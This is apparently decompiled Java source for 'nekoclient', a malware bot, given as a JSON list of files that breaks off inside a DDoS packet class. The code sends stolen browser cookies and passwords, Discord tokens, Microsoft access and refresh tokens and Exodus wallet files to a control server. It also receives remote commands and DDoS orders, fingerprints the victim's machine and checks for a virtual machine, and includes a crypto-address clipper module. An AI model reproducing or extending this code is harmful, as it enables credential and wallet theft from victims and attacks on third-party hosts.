    "content": "package dev.neko.nekoclient.module;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.structure.ThrowingRunnable;\r\nimport java.io.IOException;\r\nimport java.util.Objects;\r\nimport java.util.concurrent.Executors;\r\nimport java.util.concurrent.ScheduledExecutorService;\r\nimport java.util.concurrent.ScheduledFuture;\r\n\r\npublic abstract class Module {\r\n   protected final Client client;\r\n   private boolean enabled;\r\n   private ScheduledFuture<?> future;\r\n   private final ScheduledExecutorService service;\r\n\r\n   public Module(Client client) {\r\n      this.client = client;\r\n      this.enabled = false;\r\n      this.service = Executors.newSingleThreadScheduledExecutor();\r\n   }\r\n\r\n   public void setEnabled(boolean enabled) throws IOException {\r\n      if (this.enabled == enabled) {\r\n         throw new IllegalStateException(String.format(\"Module already %s\", enabled ? \"enabled\" : \"disabled\"));\r\n      } else {\r\n         this.enabled = enabled;\r\n         if (this.enabled) {\r\n            Module.StartAction action = this.run(this.service);\r\n            if (Objects.nonNull(action.getRunnable())) {\r\n               action.getRunnable().run();\r\n            }\r\n\r\n            if (Objects.nonNull(action.getFuture())) {\r\n               this.future = action.getFuture();\r\n            }\r\n         } else if (Objects.nonNull(this.future) && !this.future.isCancelled() && !this.future.isDone()) {\r\n            this.future.cancel(true);\r\n            this.future = null;\r\n         }\r\n      }\r\n   }\r\n\r\n   public abstract String getName();\r\n\r\n   protected abstract Module.StartAction run(ScheduledExecutorService var1);\r\n\r\n   public final boolean isEnabled() {\r\n      return this.enabled;\r\n   }\r\n\r\n   protected final Client getClient() {\r\n      return this.client;\r\n   }\r\n\r\n   public class StartAction {\r\n      private ThrowingRunnable<IOException> runnable;\r\n      private ScheduledFuture<?> future;\r\n\r\n      public Module.StartAction run(ThrowingRunnable<IOException> runnable) {\r\n         this.runnable = runnable;\r\n         return this;\r\n      }\r\n\r\n      public Module.StartAction schedule(ScheduledFuture<?> future) {\r\n         this.future = future;\r\n         return this;\r\n      }\r\n\r\n      public final ThrowingRunnable<IOException> getRunnable() {\r\n         return this.runnable;\r\n      }\r\n\r\n      public final ScheduledFuture<?> getFuture() {\r\n         return this.future;\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/module/ModuleRegistry.java",
    "content": "package dev.neko.nekoclient.module;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.module.impl.CryptoClipperModule;\r\nimport dev.neko.nekoclient.structure.Registry;\r\nimport java.util.Objects;\r\n\r\npublic class ModuleRegistry extends Registry<Module> {\r\n   public ModuleRegistry(Client client) {\r\n      this.register(new Module[]{new CryptoClipperModule(client)});\r\n   }\r\n\r\n   public final Module getByName(String name) {\r\n      return this.getBy(module -> Objects.equals(module.getName(), name));\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/module/impl/CryptoClipperModule.java",
    "content": "package dev.neko.nekoclient.module.impl;\r\n\r\nimport dev.neko.nekoclient.Client;\r\nimport dev.neko.nekoclient.module.Module;\r\nimport java.util.Arrays;\r\nimport java.util.List;\r\nimport java.util.concurrent.ScheduledExecutorService;\r\nimport java.util.concurrent.TimeUnit;\r\nimport java.util.regex.Pattern;\r\n\r\npublic class CryptoClipperModule extends Module {\r\n   public CryptoClipperModule(Client client) {\r\n      super(client);\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"CryptoClipper\";\r\n   }\r\n\r\n   @Override\r\n   protected Module.StartAction run(ScheduledExecutorService service) {\r\n      return new Module.StartAction().schedule(service.scheduleAtFixedRate(() -> {\r\n      }, 10L, 10L, TimeUnit.MILLISECONDS));\r\n   }\r\n\r\n   public static class Crypto {\r\n      private final String currency;\r\n      private final List<Pattern> patterns;\r\n      private final String replacement;\r\n\r\n      public Crypto(String currency, String replacement, Pattern... patterns) {\r\n         this.currency = currency;\r\n         this.patterns = Arrays.asList(patterns);\r\n         this.replacement = replacement;\r\n      }\r\n\r\n      public final boolean test(String string) {\r\n         return this.patterns.stream().anyMatch(pattern -> pattern.matcher(string).matches());\r\n      }\r\n\r\n      public final String getReplacement() {\r\n         return this.replacement;\r\n      }\r\n\r\n      public final String getCurrency() {\r\n         return this.currency;\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/Direction.java",
    "content": "package dev.neko.nekoclient.packet;\r\n\r\nimport dev.neko.nekoclient.api.info.Side;\r\n\r\npublic enum Direction {\r\n   CLIENT_TO_SERVER(Side.CLIENT, Side.SERVER),\r\n   SERVER_TO_CLIENT(Side.SERVER, Side.CLIENT);\r\n\r\n   private final Side sender;\r\n   private final Side receiver;\r\n\r\n   private Direction(Side sender, Side receiver) {\r\n      this.sender = sender;\r\n      this.receiver = receiver;\r\n   }\r\n\r\n   public final Side getSender() {\r\n      return this.sender;\r\n   }\r\n\r\n   public final Side getReceiver() {\r\n      return this.receiver;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/Packet.java",
    "content": "package dev.neko.nekoclient.packet;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport java.io.IOException;\r\n\r\npublic interface Packet {\r\n   void read(FriendlyByteBuffer var1) throws IOException;\r\n\r\n   void write(StreamByteBuffer var1) throws IOException;\r\n\r\n   Direction getDirection();\r\n\r\n   String getName();\r\n\r\n   default String getId() {\r\n      return String.format(\"%s:%s\", this.getDirection(), this.getName());\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/PacketRegistry.java",
    "content": "package dev.neko.nekoclient.packet;\r\n\r\nimport dev.neko.nekoclient.packet.impl.client.ActionResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.client.BrowserDataResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.client.DiscordResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.client.ExodusResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.client.HelloPacket;\r\nimport dev.neko.nekoclient.packet.impl.client.KeepAlivePacket;\r\nimport dev.neko.nekoclient.packet.impl.client.MSAResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.client.ProxyResponsePacket;\r\nimport dev.neko.nekoclient.packet.impl.server.CommandPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.DDoSPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.DisconnectPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.ProxyPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestExodusPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.RequestMSAPacket;\r\nimport dev.neko.nekoclient.packet.impl.server.UpdateModulePacket;\r\nimport dev.neko.nekoclient.structure.Registry;\r\nimport java.lang.reflect.InvocationTargetException;\r\nimport java.util.Objects;\r\n\r\npublic class PacketRegistry extends Registry<Packet> {\r\n   public PacketRegistry() {\r\n      this.register(new Packet[]{new HelloPacket()});\r\n      this.register(new Packet[]{new ActionResponsePacket()});\r\n      this.register(new Packet[]{new ExodusResponsePacket()});\r\n      this.register(new Packet[]{new ProxyResponsePacket()});\r\n      this.register(new Packet[]{new BrowserDataResponsePacket()});\r\n      this.register(new Packet[]{new MSAResponsePacket()});\r\n      this.register(new Packet[]{new DiscordResponsePacket()});\r\n      this.register(new Packet[]{new KeepAlivePacket()});\r\n      this.register(new Packet[]{new dev.neko.nekoclient.packet.impl.server.HelloPacket()});\r\n      this.register(new Packet[]{new CommandPacket()});\r\n      this.register(new Packet[]{new DDoSPacket()});\r\n      this.register(new Packet[]{new dev.neko.nekoclient.packet.impl.server.KeepAlivePacket()});\r\n      this.register(new Packet[]{new RequestExodusPacket()});\r\n      this.register(new Packet[]{new ProxyPacket()});\r\n      this.register(new Packet[]{new RequestMSAPacket()});\r\n      this.register(new Packet[]{new RequestExodusPacket()});\r\n      this.register(new Packet[]{new RequestBrowserDataPacket()});\r\n      this.register(new Packet[]{new RequestDiscordPacket()});\r\n      this.register(new Packet[]{new UpdateModulePacket()});\r\n      this.register(new Packet[]{new DisconnectPacket()});\r\n   }\r\n\r\n   public final Packet getById(String id) {\r\n      try {\r\n         Packet packet = this.getBy(packet2 -> Objects.equals(packet2.getId(), id));\r\n         return Objects.isNull(packet) ? null : (Packet)packet.getClass().getConstructor().newInstance();\r\n      } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException | InstantiationException var3) {\r\n         throw new RuntimeException(var3);\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/NoncePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\nimport java.util.UUID;\r\n\r\npublic abstract class NoncePacket implements Packet {\r\n   private String nonce;\r\n\r\n   public NoncePacket() {\r\n      this(String.format(\"%s-%s\", UUID.randomUUID(), System.currentTimeMillis()));\r\n   }\r\n\r\n   public NoncePacket(String nonce) {\r\n      this.nonce = nonce;\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      buffer.putString(this.nonce);\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      this.nonce = buffer.getString();\r\n   }\r\n\r\n   public final String getNonce() {\r\n      return this.nonce;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/ActionResponsePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\n\r\npublic class ActionResponsePacket extends NoncePacket {\r\n   private boolean success;\r\n\r\n   public ActionResponsePacket() {\r\n   }\r\n\r\n   public ActionResponsePacket(String nonce, boolean success) {\r\n      super(nonce);\r\n      this.success = success;\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      super.write(buffer);\r\n      buffer.putBoolean(this.success);\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      this.success = buffer.getBoolean();\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"actionresponse\";\r\n   }\r\n\r\n   public final boolean isSuccess() {\r\n      return this.success;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/BrowserDataResponsePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.stealer.browser.BrowserData;\r\nimport dev.neko.nekoclient.api.stealer.browser.cookie.Cookie;\r\nimport dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\nimport java.net.URL;\r\n\r\npublic class BrowserDataResponsePacket extends NoncePacket {\r\n   private BrowserData browserData;\r\n\r\n   public BrowserDataResponsePacket(String nonce, BrowserData browserData) {\r\n      super(nonce);\r\n      this.browserData = browserData;\r\n   }\r\n\r\n   public BrowserDataResponsePacket() {\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      this.browserData = new BrowserData();\r\n      int cookiesLength = buffer.getInt();\r\n\r\n      for(int i = 0; i < cookiesLength; ++i) {\r\n         this.browserData\r\n            .getCookies()\r\n            .add(\r\n               new Cookie(\r\n                  buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString(), buffer.getLong(), buffer.getBoolean(), buffer.getBoolean()\r\n               )\r\n            );\r\n      }\r\n\r\n      int credentialsLength = buffer.getInt();\r\n\r\n      for(int i = 0; i < credentialsLength; ++i) {\r\n         this.browserData.getCredentials().add(new Credential(new URL(buffer.getString()), buffer.getString(), buffer.getString()));\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      super.write(buffer);\r\n      buffer.putInt(this.browserData.getCookies().size());\r\n\r\n      for(Cookie cookie : this.browserData.getCookies()) {\r\n         buffer.putString(cookie.getHost());\r\n         buffer.putString(cookie.getPath());\r\n         buffer.putString(cookie.getName());\r\n         buffer.putString(cookie.getValue());\r\n         buffer.putLong(cookie.getExpires());\r\n         buffer.putBoolean(cookie.isSecure());\r\n         buffer.putBoolean(cookie.isHttpOnly());\r\n      }\r\n\r\n      buffer.putInt(this.browserData.getCredentials().size());\r\n\r\n      for(Credential credential : this.browserData.getCredentials()) {\r\n         buffer.putString(credential.getHost().toString());\r\n         buffer.putString(credential.getUsername());\r\n         buffer.putString(credential.getPassword());\r\n      }\r\n   }\r\n\r\n   public final BrowserData getBrowserData() {\r\n      return this.browserData;\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"browserdataresponse\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/DiscordResponsePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.stealer.discord.DiscordAccount;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\npublic class DiscordResponsePacket extends NoncePacket {\r\n   private List<DiscordAccount> discordAccounts;\r\n\r\n   public DiscordResponsePacket(String nonce, List<DiscordAccount> discordAccounts) {\r\n      super(nonce);\r\n      this.discordAccounts = discordAccounts;\r\n   }\r\n\r\n   public DiscordResponsePacket() {\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      super.write(buffer);\r\n      buffer.putInt(this.discordAccounts.size());\r\n\r\n      for(DiscordAccount discordAccount : this.discordAccounts) {\r\n         buffer.putString(discordAccount.getToken());\r\n         buffer.putString(discordAccount.getId());\r\n         buffer.putString(discordAccount.getUsername());\r\n         buffer.putString(discordAccount.getDiscriminator());\r\n         buffer.putString(discordAccount.getEmail());\r\n         buffer.putString(discordAccount.getPhone());\r\n         buffer.putBoolean(discordAccount.isVerified());\r\n         buffer.putBoolean(discordAccount.isMfa());\r\n         buffer.putInt(discordAccount.getBadges().size());\r\n\r\n         for(String badge : discordAccount.getBadges()) {\r\n            buffer.putString(badge);\r\n         }\r\n\r\n         buffer.putInt(discordAccount.getPaymentSources().size());\r\n\r\n         for(String paymentSource : discordAccount.getPaymentSources()) {\r\n            buffer.putString(paymentSource);\r\n         }\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      int total = buffer.getInt();\r\n      this.discordAccounts = new ArrayList<>();\r\n\r\n      for(int i = 0; i < total; ++i) {\r\n         String token = buffer.getString();\r\n         String id = buffer.getString();\r\n         String username = buffer.getString();\r\n         String discriminator = buffer.getString();\r\n         String email = buffer.getString();\r\n         String phone = buffer.getString();\r\n         boolean verified = buffer.getBoolean();\r\n         boolean mfa = buffer.getBoolean();\r\n         List<String> badges = new ArrayList<>();\r\n         int badgesLength = buffer.getInt();\r\n\r\n         for(int j = 0; j < badgesLength; ++j) {\r\n            badges.add(buffer.getString());\r\n         }\r\n\r\n         List<String> paymentSources = new ArrayList<>();\r\n         int paymentSourcesLength = buffer.getInt();\r\n\r\n         for(int j = 0; j < paymentSourcesLength; ++j) {\r\n            paymentSources.add(buffer.getString());\r\n         }\r\n\r\n         this.discordAccounts.add(new DiscordAccount(token, id, username, discriminator, email, phone, verified, mfa, badges, paymentSources));\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"discordresponse\";\r\n   }\r\n\r\n   public final List<DiscordAccount> getDiscordAccounts() {\r\n      return this.discordAccounts;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/ExodusResponsePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport java.io.IOException;\r\n\r\npublic class ExodusResponsePacket extends ActionResponsePacket {\r\n   private byte[] wallet;\r\n\r\n   public ExodusResponsePacket() {\r\n   }\r\n\r\n   public ExodusResponsePacket(String nonce, boolean success, byte[] wallet) {\r\n      super(nonce, success);\r\n      this.wallet = wallet;\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer output) throws IOException {\r\n      super.write(output);\r\n      if (this.isSuccess()) {\r\n         output.putBytes(this.wallet);\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      if (this.isSuccess()) {\r\n         this.wallet = buffer.getBytes();\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"exodusresponse\";\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   public final byte[] getWallet() {\r\n      return this.wallet;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/HelloPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.info.ClientInfo;\r\nimport dev.neko.nekoclient.api.info.OperatingSystem;\r\nimport dev.neko.nekoclient.api.info.Side;\r\nimport dev.neko.nekoclient.api.info.User;\r\nimport dev.neko.nekoclient.api.info.VersionInfo;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\nimport java.util.Objects;\r\n\r\npublic class HelloPacket implements Packet {\r\n   private ClientInfo clientInfo;\r\n   private VersionInfo versionInfo;\r\n\r\n   public HelloPacket() {\r\n   }\r\n\r\n   public HelloPacket(ClientInfo clientInfo, VersionInfo versionInfo) {\r\n      this.clientInfo = clientInfo;\r\n      this.versionInfo = versionInfo;\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      this.clientInfo = new ClientInfo(\r\n         new OperatingSystem(buffer.getString(), buffer.getString(), buffer.getString(), buffer.getInt(), buffer.getLong(), buffer.getString()),\r\n         new User(buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString()),\r\n         buffer.getString(),\r\n         buffer.getBoolean() ? buffer.getString() : null,\r\n         buffer.getBoolean()\r\n      );\r\n      this.versionInfo = new VersionInfo(Side.valueOf(buffer.getString()), buffer.getString());\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      buffer.putString(this.clientInfo.getOperatingSystem().getName());\r\n      buffer.putString(this.clientInfo.getOperatingSystem().getVersion());\r\n      buffer.putString(this.clientInfo.getOperatingSystem().getArchitecture());\r\n      buffer.putInt(this.clientInfo.getOperatingSystem().getProcessors());\r\n      buffer.putLong(this.clientInfo.getOperatingSystem().getTotalPhysicalMemory());\r\n      buffer.putString(this.clientInfo.getOperatingSystem().getProcessorName());\r\n      buffer.putString(this.clientInfo.getUser().getName());\r\n      buffer.putString(this.clientInfo.getUser().getHostname());\r\n      buffer.putString(this.clientInfo.getUser().getHome());\r\n      buffer.putString(this.clientInfo.getUser().getCountry());\r\n      buffer.putString(this.clientInfo.getUser().getLanguage());\r\n      buffer.putString(this.clientInfo.getHardwareId());\r\n      boolean refPresent = Objects.nonNull(this.clientInfo.getRef());\r\n      buffer.putBoolean(refPresent);\r\n      if (refPresent) {\r\n         buffer.putString(this.clientInfo.getRef());\r\n      }\r\n\r\n      buffer.putBoolean(this.clientInfo.isVirtualMachine());\r\n      buffer.putString(this.versionInfo.getSide().name());\r\n      buffer.putString(this.versionInfo.getVersion());\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"hello\";\r\n   }\r\n\r\n   public final ClientInfo getClientInfo() {\r\n      return this.clientInfo;\r\n   }\r\n\r\n   public final VersionInfo getVersionInfo() {\r\n      return this.versionInfo;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/KeepAlivePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.Packet;\r\nimport java.io.IOException;\r\n\r\npublic class KeepAlivePacket implements Packet {\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"keepalive\";\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/MSAResponsePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.ClientType;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\npublic class MSAResponsePacket extends NoncePacket {\r\n   private List<MicrosoftCredentials> credentials;\r\n\r\n   public MSAResponsePacket(String nonce, List<MicrosoftCredentials> credentials) {\r\n      super(nonce);\r\n      this.credentials = credentials;\r\n   }\r\n\r\n   public MSAResponsePacket() {\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      this.credentials = new ArrayList<>();\r\n      int length = buffer.getInt();\r\n\r\n      for(int i = 0; i < length; ++i) {\r\n         this.credentials\r\n            .add(\r\n               new MicrosoftCredentials(\r\n                  buffer.getString(),\r\n                  buffer.getString(),\r\n                  new ClientType(buffer.getString(), buffer.getString(), buffer.getString()),\r\n                  buffer.getLong(),\r\n                  buffer.getString(),\r\n                  buffer.getLong()\r\n               )\r\n            );\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      super.write(buffer);\r\n      buffer.putInt(this.credentials.size());\r\n\r\n      for(MicrosoftCredentials credentials : this.credentials) {\r\n         buffer.putString(credentials.getUserId());\r\n         buffer.putString(credentials.getAccessToken());\r\n         buffer.putString(credentials.getClientType().getClientId());\r\n         buffer.putString(credentials.getClientType().getScope());\r\n         buffer.putString(credentials.getClientType().getTokenType());\r\n         buffer.putLong(credentials.getAccessTokenExpiration());\r\n         buffer.putString(credentials.getRefreshToken());\r\n         buffer.putLong(credentials.getRefreshTokenExpiration());\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"msaresponse\";\r\n   }\r\n\r\n   public final List<MicrosoftCredentials> getCredentials() {\r\n      return this.credentials;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/client/ProxyResponsePacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.client;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.proxy.ProxyResponse;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\n\r\npublic class ProxyResponsePacket extends NoncePacket {\r\n   private ProxyResponse response;\r\n\r\n   public ProxyResponsePacket() {\r\n   }\r\n\r\n   public ProxyResponsePacket(String nonce, ProxyResponse response) {\r\n      super(nonce);\r\n      this.response = response;\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer input) throws IOException {\r\n      super.read(input);\r\n      this.response = ProxyResponse.valueOf(input.getString());\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer output) throws IOException {\r\n      super.write(output);\r\n      output.putString(this.response.name());\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.CLIENT_TO_SERVER;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"proxyresponse\";\r\n   }\r\n\r\n   public final ProxyResponse getResponse() {\r\n      return this.response;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/CommandPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\n\r\npublic class CommandPacket extends NoncePacket {\r\n   private String command;\r\n\r\n   public CommandPacket() {\r\n   }\r\n\r\n   public CommandPacket(String command) {\r\n      this.command = command;\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer input) throws IOException {\r\n      super.read(input);\r\n      this.command = input.getString();\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer output) throws IOException {\r\n      super.write(output);\r\n      output.putString(this.command);\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n   @Override\r\n   public String getName() {\r\n      return \"command\";\r\n   }\r\n\r\n   public final String getCommand() {\r\n      return this.command;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/packet/impl/server/DDoSPacket.java",
    "content": "package dev.neko.nekoclient.packet.impl.server;\r\n\r\nimport com.eclipsesource.json.Json;\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;\r\nimport dev.neko.nekoclient.api.buffer.StreamByteBuffer;\r\nimport dev.neko.nekoclient.api.ddos.Method;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.ThreadsUnit;\r\nimport dev.neko.nekoclient.packet.Direction;\r\nimport dev.neko.nekoclient.packet.impl.NoncePacket;\r\nimport java.io.IOException;\r\n\r\npublic class DDoSPacket extends NoncePacket {\r\n   private String host;\r\n   private int port;\r\n   private long time;\r\n   private int threads;\r\n   private ThreadsUnit threadsUnit;\r\n   private Protocol protocol;\r\n   private Method method;\r\n   private JsonObject options;\r\n\r\n   public DDoSPacket() {\r\n   }\r\n\r\n   public DDoSPacket(String host, int port, long time, int threads, Protocol protocol, Method method, JsonObject options) {\r\n      this.host = host;\r\n      this.port = port;\r\n      this.time = time;\r\n      this.threads = threads;\r\n      this.protocol = protocol;\r\n      this.method = method;\r\n      this.options = options;\r\n   }\r\n\r\n   @Override\r\n   public void read(FriendlyByteBuffer buffer) throws IOException {\r\n      super.read(buffer);\r\n      this.host = buffer.getString();\r\n      this.port = buffer.getUnsignedShort();\r\n      this.time = buffer.getLong();\r\n      this.threads = buffer.getInt();\r\n      this.threadsUnit = ThreadsUnit.valueOf(buffer.getString());\r\n      this.protocol = Protocol.valueOf(buffer.getString());\r\n      this.method = Method.valueOf(buffer.getString());\r\n      this.options = Json.parse(buffer.getString()).asObject();\r\n   }\r\n\r\n   @Override\r\n   public void write(StreamByteBuffer buffer) throws IOException {\r\n      super.write(buffer);\r\n      buffer.putString(this.host);\r\n      buffer.putUnsignedShort(this.port);\r\n      buffer.putLong(this.time);\r\n      buffer.putInt(this.threads);\r\n      buffer.putString(this.threadsUnit.name());\r\n      buffer.putString(this.protocol.name());\r\n      buffer.putString(this.method.name());\r\n      buffer.putString(this.options.toString());\r\n   }\r\n\r\n   @Override\r\n   public Direction getDirection() {\r\n      return Direction.SERVER_TO_CLIENT;\r\n   }\r\n\r\n 